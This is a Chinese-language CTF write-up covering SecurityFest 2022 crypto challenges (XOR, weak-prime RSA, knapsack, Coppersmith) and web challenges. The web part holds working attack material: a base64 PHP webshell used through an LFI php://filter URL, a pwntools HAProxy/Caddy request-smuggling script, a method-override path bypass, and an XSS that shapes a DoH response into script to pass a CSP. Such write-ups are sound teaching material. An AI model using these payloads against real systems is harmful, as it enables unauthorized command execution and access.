SecurityFest CTF 2022 Writeups

發表於
分類於 CTF

在 Cryptohack DC 上看到才知道有這個 CTF,所以中途以 peko 註冊了然後解了些 crypto 和 web 的題目,結果就第六名了==。

  排行榜截圖

Crypto

panta fler

總之它有三個訊息 a,b,ca,b,c 和一個同樣長度的 kk 使用 xor 加密: ak,bk,cka \oplus k, b \oplus k, c \oplus k

首先是把兩個密文 xor 可以得到 aba \oplus b,然後使用 flag prefix SECFEST{ 猜看看會發現出來的結果像是英文單字。另外也用一樣的方法去對 aca \oplus c 測試看看也能得到一個英文單字,所以 aa 是 flag,而 b,cb,c 大概是英文句子。

之後就開始利用英文單字和文法去猜說 b,cb,c 後面的明文是什麼,這樣能就恢復更長的 kk 直到還原出整個 flag 為止。

我拿了以前解過類似題目弄的一個簡單 interactive 的工具來改,方便我猜 flag。

from functools import reduce


def xor(*args):
    if len(args) == 2:
        x, y = args
        return bytes([a ^ b for a, b in zip(x, y)])
    return reduce(xor, args)


ct = [
    b"\xc1=\x01}\xe7\x1c\x94YRj\xb3\xa7K@\xde\x0c\x9a\xc9\x00\xb0ZB\r\x87\r\x8b\x8f\xffQ\xc7",
    b"\xfc\x1d4^\xd0o\xb2GE|\x89\xe4^]\xcfE\x86\xdd\x1e\x8a\r@\x1c\x96r\x92\x87\xec\x19\xd4",
    b"\xfa\x19!P\x82;\xa8G\x10\x7f\x80\xa5DP\xdeE\x94\xc8S\x9cHH\x1f\x8a!\x87\xc0\xe3\x1f\xcd",
]
key = xor(b"SECFEST{", ct[0])
# key = xor(b"SECFEST{be_cautious_with_xor!}", ct[0])


while True:
    pts = [xor(key, c) for c in ct]
    for i, pt in enumerate(pts):
        print(i, pt)
    idx = int(input("Enter index: "))
    if idx == -1:
        break
    c = input("Enter next char: ")[0]
    key += bytes([ord(c) ^ ct[idx][len(key)]])
    print("Current key:", key.hex())
print([xor(key, c) for c in ct])
# SECFEST{be_cautious_with_xor!}

small rsa

from random import randrange
from gmpy2 import next_prime, is_prime
bits = 128
bound = randrange(2**(bits-1), 2**bits)
print("b =", bound)
#299089579545315329927831077361748367952
B = int(next_prime(bound**2))
print("B =", B)
#89454576592593506198091003676782760426164579104178557226654770323935580674319
d = 8

def gen_prime():
    while True:
        ps = [randrange(bound) for _ in range(d)]
        p = 0
        for i in range(d):
            p += ps[i]*B**i
        if is_prime(p):
            break
    print(ps)
    return p

p = gen_prime()
q = gen_prime()
n = p*q
print(f"{n = }")
#34636826522268200537774154204941407529988822872148894567372441583415254552447302749228340228906546920018188955427366065775864988572478602396106371080685655564033817360335889100181326997156956367867826271804748628399970980872535732627789819667138755054766468613617857322669943746935541793686046017146304058463046888768033823974071280198556883407966869840605294817458160107581025567028344865676401747062383757953634109234225473151412286700057343914024601771084294978143682676406989676297209210216751760067457688993962995389392757065579902776423369572207772618783218733875876004666171649676348837063312375577831738151728184702454332533310164381393954188000484797023852778358325185035355456975120195736428957973841058260571165844580731851332614644310138023335666774129908073810240673290494869672972129721881195738377137440359704474859842375310892200036137555884160008753002740372280734559191112796694291489720084349580961011222521816640149582773655766774142060407687849118888102012006683658983742498222152936133450205031770557715936326829853770866589383519670805541691607883632863177387841208657406032490492781368768715851417369111054048036698365329818004529

e = 65537
m = b"[REDACTED]"
m = int.from_bytes(m, "big")
c = pow(m, e, n)
print(f"{c = }")
#20028745085195583678378916660396397538994010666442432435713640627343638544983255393172148533881365971854283869014758186049316988000737550769605639679479180589253955045598774721246899297252406061180515011481963360240256930643234163280545121729316133742144823763601498670419742214338058035882729739026231634052850909950379775962557912899396425158183194713786156167265753101307366270122197291552260459611820717997757267712339753750891161458350673859656475246424157412488302546155825912483333623112241511338503582503574264361642880778925970123483773426929656284901291439896260232211956880277503017106751458194801408711006508735697948503777541874602351630564440747713117941961365774432080957568074493024639496001096643016830901025267139229529531498995611208677992804905291286283800620644472474016518205177496080326978650925595478508487654201440611536444236269249350798132974110183405726386731371083064781799161730272554725154294836754680153505618540394615227117220937285324830238267813179531144987439258005506277060338763635818845237827323991005526601556189238304698762279589753458427889093496877392067155432030319457380945056863466258912867795091887061462273

單純的 RSA 題目,因為生成質數的部分比較特別所以目標明顯是要直接分解 n=pqn=pq

這題有個大約 128 bits 的 bound 和約等於 bound**2 的另一數 B,然後都符合這樣的形式:

p=p0+p1B+p2B2+p=p_0+p_1 B+p_2 B^2+\cdots

其中的 pip_i 係數都小於 bound

一個直覺的想法是直接把它視為 BB 的多項式直接把 pqpq 相乘:

n=pq=p0q0+(p0q1+p1q0)B+\begin{aligned} n &= pq \\ &= p_0q_0 + (p_0q_1+p_1q_0)B + \cdots \end{aligned}

所以理論上只要把 nnBB 進位去處理,然後用多項式分解應該就行了…?

實際上做一些實驗會發現 fn(x)f_n(x)fp(x)fq(x)f_p(x)f_q(x) 並不一樣,這是因為當相乘的係數超過 BB 的時候它會需要進位。所以係數不會相同。這似乎也是整數分解和多項式分解的困難度差異的關鍵: Does the security of RSA come from just the carries in multiplication?

不過這題似乎是因為 piBp_i \approx \sqrt{B},所以它進位的部分都相當少,所以直接爆破進位回推 fp(x)fq(x)f_p(x)f_q(x),然後分解就能拿到 p,qp,q 解決這題。

from Crypto.Util.number import *
from itertools import product

B = 89454576592593506198091003676782760426164579104178557226654770323935580674319
n = 34636826522268200537774154204941407529988822872148894567372441583415254552447302749228340228906546920018188955427366065775864988572478602396106371080685655564033817360335889100181326997156956367867826271804748628399970980872535732627789819667138755054766468613617857322669943746935541793686046017146304058463046888768033823974071280198556883407966869840605294817458160107581025567028344865676401747062383757953634109234225473151412286700057343914024601771084294978143682676406989676297209210216751760067457688993962995389392757065579902776423369572207772618783218733875876004666171649676348837063312375577831738151728184702454332533310164381393954188000484797023852778358325185035355456975120195736428957973841058260571165844580731851332614644310138023335666774129908073810240673290494869672972129721881195738377137440359704474859842375310892200036137555884160008753002740372280734559191112796694291489720084349580961011222521816640149582773655766774142060407687849118888102012006683658983742498222152936133450205031770557715936326829853770866589383519670805541691607883632863177387841208657406032490492781368768715851417369111054048036698365329818004529
c = 20028745085195583678378916660396397538994010666442432435713640627343638544983255393172148533881365971854283869014758186049316988000737550769605639679479180589253955045598774721246899297252406061180515011481963360240256930643234163280545121729316133742144823763601498670419742214338058035882729739026231634052850909950379775962557912899396425158183194713786156167265753101307366270122197291552260459611820717997757267712339753750891161458350673859656475246424157412488302546155825912483333623112241511338503582503574264361642880778925970123483773426929656284901291439896260232211956880277503017106751458194801408711006508735697948503777541874602351630564440747713117941961365774432080957568074493024639496001096643016830901025267139229529531498995611208677992804905291286283800620644472474016518205177496080326978650925595478508487654201440611536444236269249350798132974110183405726386731371083064781799161730272554725154294836754680153505618540394615227117220937285324830238267813179531144987439258005506277060338763635818845237827323991005526601556189238304698762279589753458427889093496877392067155432030319457380945056863466258912867795091887061462273

carries = [1, 1, 1, 2, 2, 2, 2, 3, 3, 3, 2, 2, 2, 2, 2, 1]


def uncarry(coef, unc):
    coef = coef[:]
    for i in range(len(coef) - 1, 0, -1):
        coef[i] -= unc[i]
        coef[i - 1] += B * unc[i]
    return coef


P.<x> = ZZ[]
coef = n.digits(B)

for v in product(*map(range, carries)):
    # print(v)
    xx = P(uncarry(coef, v))
    fs = factor(xx)
    if len(fs) == 2 and fs[0][0].degree() == 7 and fs[1][0].degree() == 7:
        print("found")
        p = fs[0][0](B)
        q = fs[1][0](B)
        print(p * q == n)
        if p * q == n:
            break

d = inverse_mod(65537, (p - 1) * (q - 1))
print(long_to_bytes(power_mod(c, d, n)))

另外後來在 DC 知道這題可以用 LLL 處理。首先是 Np0q0(modB)N \equiv p_0 q_0 \pmod{B},因為 p0q0<Bp_0 q_0 < B 所以直接分解 NmodBN \bmod{B} 就能爆出 p0,q0p_0, q_0 的可能值。

再來比較一下一次項: n1p0q1+p1q0n_1 \approx p_0q_1 + p_1q_0,用約等於是因為有可能有進位的誤差,不過那個誤差值很小。在這個情況下 p0,q0p_0, q_0 是已知的,所以可以用 LLL 嘗試去找小的解,也就是 p1,q1p_1, q_1

之後比較一下二次項: n2p0q2+p1q1+p2q0n_2 \approx p_0q_2 + p_1q_1 + p_2q_0,一樣因為 p0,q0,p1,q1p_0, q_0, p_1, q_1 都已知,可以用 LLL 找出 p2,q2p_2, q_2,然後就這樣反覆類推把全部找出來。

hellman 的 impl: small_rsa.ipynb

另外還有人在 DC 發這個: https://eprint.iacr.org/2015/398.pdf ,裡面似乎也是有使用 LLL 處理這種 weak prime 的方法。不過發連結的人表示說他怎麼弄都不成功。

knäppsäck

from random import sample, randint 
 
p = random_prime(2^1024) 
R = Zmod(p) 
 
groups = list(randint(2, 6) for i in range(40)) 
thresh = list(randint(i//2, i//2 + 1) for i in groups) 
 
G = list( 
    list(R.random_element() for i in range(c))  
    for c in groups 
) 
 
message = list( 
    sorted(sample(range(g), i))[::-1] 
    for g, i in zip(groups, thresh) 
) 
 
P = sum( 
    sum(g[i] for i in m) 
    for m, g in zip(message, G) 
) 
 
print(f"p = {p}") 
print(f"groups = {groups}") 
print(f"thresh = {thresh}") 
print(f"G = {G}") 
print(f"P = {P}") 
 
def lexorder(x, m): 
    if len(x) == 0: return 1 
    return binomial(x[0], len(x)) + lexorder(x[1:], x[0]) 
 
flag, b = 0, 1 
for m, g in zip(message, groups): 
    flag += lexorder(m, g) * b 
    b *= binomial(g, len(m)) 
 
print(f"flag = {flag}") 

直接看 source code 可以知道 GG 的某個 subset 加總起來會是 PP,因為 density 不高 (~0.15) 所以直接 LLL,然後回推 message 拿 flag 即可。

with open("output.txt") as f:
    exec(f.read())

ar = sum(G, [])
M = matrix(ar).T.augment(matrix.identity(len(ar)) * 2)
M = M.stack(vector([-P] + [-1] * len(ar)))
M = M.stack(vector([p] + [0] * len(ar)))
M[:, 0] *= 2 ^ 128
R = M.LLL()

sol = list(R[1][1:])
message = []
for g in G:
    cur = sol[: len(g)]
    sol = sol[len(g) :]
    message.append([i for i, v in enumerate(cur) if v == 1][::-1])


def lexorder(x, m):
    if len(x) == 0:
        return 1
    return binomial(x[0], len(x)) + lexorder(x[1:], x[0])


flag, b = 0, 1
for m, g in zip(message, groups):
    flag += lexorder(m, g) * b
    b *= binomial(g, len(m))

print(f"flag = {flag}")

really_sick_æsthetic

from morfarshatt import flagga

g = lambda k: random_prime(2^k) * random_prime(2^k)
r = lambda m: randint(1, m)

n1 = g(512)
n2 = g(512)
n3 = g(512)

m = min(n1, n2, n3)
a, b = r(m), r(m)
c, d = r(m), r(m)

x = int.from_bytes(flagga, byteorder='big')
assert(x < m)

c1 = pow(x, 3, n1)
c2 = pow(a*x + b, 3, n2)
c3 = pow(c*x + d, 3, n3)

print(f'n1, n2, n3 = {n1}, {n2}, {n3}')
print(f'a, b, c, d = {a}, {b}, {c}, {d}')
print(f'c1, c2, c3 = {c1}, {c2}, {c3}')
print(f'{len(flagga)}')

有三個 RSA 的 n1,n2,n3n_1,n_2,n_3,然後 flag mm 用這樣的方法加密:

c1m3(modn1)c2(am+b)3(modn2)c3(cm+d)3(modn3)\begin{aligned} c_1 &\equiv m^3 \pmod{n_1} \\ c_2 &\equiv (am+b)^3 \pmod{n_2} \\ c_3 &\equiv (cm+d)^3 \pmod{n_3} \end{aligned}

如果有重複的 nn 的話可用 Related Message Attack 用 gcd 解,但這題不是。另一個類似形式的是 Hastad Broadcast Attack,然而這題的第二和第三式沒辦法讓我得到 m3(modn2)m^3 \pmod{n_2}m3(modn3)m^3 \pmod{n_3} 的值。

不過 Hastad Broadcast Attack 本身用的是 CRT,這個 idea 其實也能用在這邊。可先令這幾個多項式:

f1(x)=x3c1f2(x)=(ax+b)3c2f3(x)=(cx+d)3c3\begin{aligned} f_1(x)&=x^3-c_1 \\ f_2(x)&=(ax+b)^3-c_2 \\ f_3(x)&=(cx+d)^3-c_3 \end{aligned}

可見 fi(m)0(modni)f_i(m) \equiv 0 \pmod{n_i},然後另外取 CRT coefficient TiT_i:

Ti1(modni)Ti0(modnji)\begin{aligned} T_i &\equiv 1 \pmod{n_i} \\ T_i &\equiv 0 \pmod{n_{j \neq i}} \end{aligned}

兩者結合可以得到 f(x)f(x),這個某種程度上可以視為是對 00 mod 不同數的情況下做 CRT:

f(x)=f1(x)T1+f2(x)T2+f3(x)T3f(x)=f_1(x)T_1+f_2(x)T_2+f_3(x)T_3

顯然 f(m)0(modni)f(m) \equiv 0 \pmod{n_i},所以也有 f(m)0(modn1n2n3)f(m) \equiv 0 \pmod{n_1 n_2 n_3}。因為 m<min(n1,n2,n3)m<\min(n_1,n_2,n_3) 所以 mmn1n2n3n_1 n_2 n_3 相比算是 small root,可用 coppersmith 求解。

不過我一開始直接 small roots 的時候都找不到解,後來還是靠 hint 額外補充的資訊才搞定:

len(flag) = 127
and
flag = SECFEST{...} + random
from Crypto.Util.number import *

n1, n2, n3 = (
    1401319611347356773887154859254297488587748916167528411781955161070771235056492239930915055430725842906735678800721088435590827145380843922331596331217195998289782451691023636938672246577057750538399961569425132775422780215874173061239620286809361247476788799084351705535705191719741473638161177830819062913,
    93929270671640676038272300621577590050388546365573376058848268755586443513273392470288465422034947305882115935273812814090585070611845743805708732148965001758685938419891262987151989750411904643337379571106949332912476594370786031126592832074202606178259666176275819642895388993805423801590346121886463154493,
    16942255048162971761210283484837728649885892177575028340105590631533021846865838703837850496337964481215216748513001294835312645433010478899804925326573174869703026494395537885248285153728354458825455324651596388723156984568435202926704664556435326575519823264262426064534649720827701655074670423046369428487,
)
a, b, c, d = (
    816707757334025955873551300291115957244929178359163189898836703794096446035376642681339350269646402403623381300867313940921411937931855866555460115147443198624007849492344102900953388236705014598317668063410070421658320251867938311242756954445599777691127340178194758168120083391846957297043258538971682656,
    745711826496100756612627309746963018286384869064570930929420181315701128858481411996420808944706255787336734726114648250308181091719587312246849339268467320198235168275114019618372903191004050047010404038580467357659473336645389978388162270444112395481987515683470136265832310695565656316066649488457251542,
    457113559991336310217047954994454259015470269139045253465880453115425882867168371751366860291496286988706829825972982124718895516194348207894013000632929345548822790821065845244320278540909961203024618547366059145546677151699090715138478903903713059476077714630963005563020709732576278095273999695170245879,
    509199941399276795750649828994710794297214191656907620132065560140027602600782775401578085170024829709169889862887726457343903644876293675737086407127920668618215833854745693576935098817794913606783358855099827179163328860990718950946614721022541431359002875691363746468433769282630310194268851308235950929,
)
c1, c2, c3 = (
    1268196573919981524276949967801999986488529166073152640081117541596594438854836034605091034310174116029963325447867011142758840266458010604314712206281207486042576686131112279236592688360682514879866358817285786950878940051455988959409256539680442525853200118747541970284236278058810272505720905257745240883,
    64208823083728071837064999419452205104115247850043866522128501646834783777966548620165452087334309723488367313973950057214802570403789761738914272552005923211386317615619928040804318066050436314100228196466534901781541660761105159754722013559344265999734902281442779083683166805632208178603445218079969320285,
    8509227949500504626057408247321015695521219754070289890807066036172664538036554468734653260395519871677018843271256389298835987869898579912928540836245194980365843079281083074016559389213798536654944263567871852040147199080662496995097561192482940890984303786845410433468150776276754709196911737317257395314,
)


prefix = int.from_bytes(b"SECFEST{", "big")
T1 = crt([1, 0, 0], [n1, n2, n3])
T2 = crt([0, 1, 0], [n1, n2, n3])
T3 = crt([0, 0, 1], [n1, n2, n3])
P = PolynomialRing(Zmod(n1 * n2 * n3), "x")
x = P.gen()
m = x + prefix * (2 ^ (8 * 119))
f1 = m ^ 3 - c1
f2 = (a * m + b) ^ 3 - c2
f3 = (c * m + d) ^ 3 - c3
f = f1 * T1 + f2 * T2 + f3 * T3
flag = b"SECFEST{" + long_to_bytes(
    ZZ(f.monic().small_roots(X=2 ^ (8 * 119), epsilon=0.03)[0])
)
print(flag)

# SECFEST{0xlol}

和這題類似的幾個題目:

Web

dumperignon

php 題,關鍵大概在這段:

<?php
    ini_set("display_errors", TRUE);
    error_reporting(E_ALL);

    ini_set("allow_url_fopen", 0);
    ini_set("allow_url_include", 0);
    ini_set("open_basedir", "/var/www");

    if(isset($_GET['source'])){
        die(show_source(__FILE__));
    }

    function nohack($str){
        return preg_replace("/(\.\.+|^\/|^(file|http|https|ftp):)/i", "XXX", $str);
    }

    foreach($_POST as $key => $val){
        $_POST[$key] = nohack($val);
    }
    foreach($_GET as $key => $val){
        $_GET[$key] = nohack($val);
    }
    foreach($_REQUEST as $key => $val){
        $_REQUEST[$key] = nohack($val);
    }

    if(isset($_GET['file'])){
        set_include_path("/var/www/messages");
        echo "Message contents: <br>\n<pre>";
        include($_GET['file']);
        echo "</pre>";
        die();
    }


    if(isset($_POST['file'])){
        if(strlen($_POST['file']) > 1000){
            echo "too big file";
            die();
        }
        $filename = md5($_SERVER['REMOTE_ADDR']).rand(1,1337).".msg";
        $fp = fopen("/var/www/messages/".$filename, 'wb');
        fwrite($fp, "<?php var_dump(".var_export($_POST['file'], true).")?>");
        fclose($fp);
        header('Content-Length: 0');
        header('Connection: close');
        header('Location: /?file='.$filename);
        die();
    }else{
		// other html
	}

解法也很簡單,在 /var/www/messages 中寫 base64 的 webshell,然後 LFI 時使用 php://filter/convert.base64-decode/resource=... 就有 webshell 了。

唯一要注意的是可能要在 base64 前面 pad 點垃圾才能讓 webshell 正常出來。

payload:

xxPD9waHAgc3lzdGVtKCRfR0VUWzBdKTsvL3R4
http://dumperignon-01.hackaplaneten.se/?file=php://filter/convert.base64-decode/resource%3D/var/www/messages/e8c2ef8ec46207240b47fd7905b70ede842.msg&0=./flag_dispenser

SECFEST{1_R@n_0ut_of_cl3v3r_fl4gz...}

*tunnelvision

賽中沒解掉這題,做個筆記而已

這題目標就只是想辦法 GET /admin,但是前面有兩層 proxy: Haproxy -> Caddy -> Service

haproxy.cfg:

global
  stats socket /var/run/api.sock user haproxy group haproxy mode 660 level admin expose-fd listeners
  log stdout format raw local0 debug

defaults
  mode http
  timeout client 10s
  timeout connect 5s
  timeout server 10s
  timeout http-request 10s
  log global

resolvers dns
  nameserver ns1 127.0.0.11:53
  hold valid 10s

frontend myfrontend
  bind :80
  acl local_management src 127.0.0.1
  acl restricted_page path -i -m sub admin
  http-request deny if restricted_page !local_management
  default_backend webserver

backend webserver
  http-response set-header Server webserver
  server s1 loadbalancer:80 resolvers dns check

Caddyfile:

:80 {

    @blacklist {
      not {
        path /admin*
      }
    }

	reverse_proxy @blacklist backend:80

}

總之它就只是擋 /admin 之類的 path 而已。

官方解 (by @avlidienbrunn):

1. bypass HAP using keep-alive + CONNECT verb + 2xx status (will put HAP in "tunnel mode", it thinks it is supposed to be a proxy, and not apply any rules)
2. bypass caddy blacklist with either invalid pct encoding or GET /admin/../blablabla. caddy uses matching on normalized path, but doesnt actually send normalized path over the wire
# coding=utf-8
import ssl, sys
from pwn import * # pip install pwntools

target = sys.argv[1]

r = remote(target, 80, ssl=False) # ssl=True
request = '''CONNECT /horoscope/leo HTTP/1.1\r\nHost: a\r\n\r\n'''.format(target)
request2 = '''GET /admin/../ HTTP/1.1\r\nHost:{}\r\n\r\n'''.format(target)

print("----------- SENDING CONNECT --------------")
r.send(request)
print(r.recvrepeat(1)) # CONNECT response

print("----------- SENDING admin --------------")
r.send(request2)
print(r.recvrepeat(1)) # smuggled GET /admin response

其中 /horoscope/leo 就只是讓它產生 200 使 haproxy 以為有成功 proxy,而 caddy 的部分在 weird_proxies - Caddy 也有記載。

不過後來還看到另一個很有趣的解:

curl -X 'POST' -H 'X-HTTP-Method-Override: GET/admin' 'http://tunnelvision-01.hackaplaneten.se/'

所以就去 trace 了一下 code 看到了 router.go#L156-L179,可以知道它會在 POST 和 X-HTTP-Method-Override 允許你 override method。但是一般情況下 override method 不應該控制到 path 對吧? 這之所以能成功是因為這個 framework 裡面的 routes 都是使用 /$METHOD$PATH 這樣的形式表示的,例如 /GET/admin 這樣。所以它透過蓋掉 method 去 injection,然後因為這題 /admin 或是 /admin/* 都能拿 flag,所以這樣就成功 match 到了。

madness

一個特殊的 XSS 題目(只需要 alert(1)),source code 部分有幾個核心的點:

@app.route('/', defaults={'path': ''})
@app.route('/<path:path>')
def hello_world(path):
    if path == "":
        return redirect("/app", code=301)
    return render_template('index.html', prefix="/"+request.path.lstrip("/"))

# ...

@app.after_request
def add_header(response):
    response.headers['X-Frame-Options'] = 'DENY'
    response.headers['X-Content-Type-Options'] = 'nosniff'
    response.headers['Content-Security-Policy'] = "default-src 'self' cloudflare-dns.com; img-src *"
    return response

還有 index.html:

<html lang="en-US" prefix="og: http://ogp.me/ns#">
  <head id="head">
    <title>Madness</title>
    <link
      href="https://cloudflare-dns.com/purgeCache-c2074bf50c85410bcdf0.css"
      rel="stylesheet"
    />
    <link
      href="https://cloudflare-dns.com/purgeCache-c2074bf50c85410bcdf0.css"
      rel="stylesheet"
    />
    <link rel="stylesheet" href="{{ prefix }}/static/style.css"></link>
    <script type="text/javascript" src="{{ prefix }}/static/dns.js"></script>
    <!-- 
                            
                   _ 
             _ _,-'_)_   
            |,' ,-' __)  ,------/. 
           |     -'  _)/         `\           ______________
          ,'       ,-'_,`           :       /               \
       ,-'       ,(,-(              :      |     DoH'       |
     ,'       ,-' ,    _            ;    --\_______________/
    /        ,-._/`---'            /   _'
   /        (____)(----. )       ,'
  /         (      `.__,     /\ /,
 :           ;-.___         /__\/|
 |         ,'      `--.      -,\ |
 :        /            \    .__/
  \      (__            \    |_
   \       ,`-, *       /   _|,\
    \    ,'   `-.     ,'_,-'    \
   (_\,-'    ,'\")--,'-'       __\
    \       /  // ,'|      ,--'  `-.
     `-.    `-/ \'  |   _,'         `.
        `-._ /      `--'/             \
           ,'           |              \
          /             |               \
       ,-'              |               /
      /                 |             -'
    -->
  </head>
  <body class="purge-cache-page bg">
    <main>
      <section data-section="purge-cache">
        <div class="form-container">
        <header>
          <h1 class="title">Madness DNS</h1>
        </header>
        <p class="description">
          <span
            >This page allows users to refresh DNS cache and lookup domain names without having to be an absolute nerd using terminals and all that stuff. Enjoy!</span
          >
        </p>
           <form id="lookup-name-form"></form>
          <form id="purge-cache-form">
            <div class="label required">Domain Name</div>
            <input
              id="domain"
              class="input-field"
              name="domain"
              type="text"
              placeholder="example.com"
              required=""
            />
            <br />
            <input id="submit-button" type="submit" form="lookup-name-form" value="Lookup DNS name" />
            <input id="submit-button" type="submit" value="Purge DNS cache" />
          </form>
          <div id="info-message"></div>
        </div>
      </section>
    </main>
  </body>
</html>

很明顯的 prefix 可控,但它因為有 lstrip("/") 導致 script tag 不能使用 //example.com/foo.js 的方法去拿第三方的 script。不過我測試了一下發現 chrome 系的也會把 \ 視為 / 處理,所以 \/example.com/foo.js 也是能行。

下一步是要繞 CSP,因為裡面只允許了 self 和 cloudflare-dns.com 兩個,很明顯是要在 cloudflare-dns.com 上面找到 endpoint 可以回傳自訂的 payload。

後來查一查官方文件看到了這個: Using DNS Wireformat

它能讓你直接把 DNS 的 packet 用 base64 encode 放在 url 上傳送,然後回傳值是直接 binary DNS response。所以可以看看有沒有什麼方法能讓 DNS response 變成 js 來繞 CSP。

所以我去查了一查 DNS protocol 的細節,找到了這個讓我簡單的了解了 DNS packet 的格式。而關鍵在於 DNS header 最開頭有個 16 bits 的 ID,response 也會是以相同 ID 回傳的。所以只要讓 ID 變成是 0x2F2A 就能讓 response 以 /* 開頭。

之後就在 query 的 domain name 部分塞 */alert(1)// 之類的東西測試看看會發現它也會原封不動的出現在 response 中,所以就能 XSS 了。

from base64 import b64decode, b64encode
from dnslib import DNSRecord, DNSQuestion, DNSHeader

pkt = DNSRecord(DNSHeader(id=0x2F2A), q=DNSQuestion("*/alert(1)//"))
b64encode(pkt.pack())


# http://madness-01.hackaplaneten.se:3000/%5Ccloudflare-dns.com/dns-query%3Fdns%3DLyoBAAABAAAAAAAADCovYWxlcnQoMSkvLwAAAQAB%23
# SECFEST{l00kz_l13K_JS_2_m3!?}

有些時候失敗的話可以在 DNSQuestionname 後面隨便加點東西,反正不要讓 response 後面的垃圾出現 0a 或是 0d 即可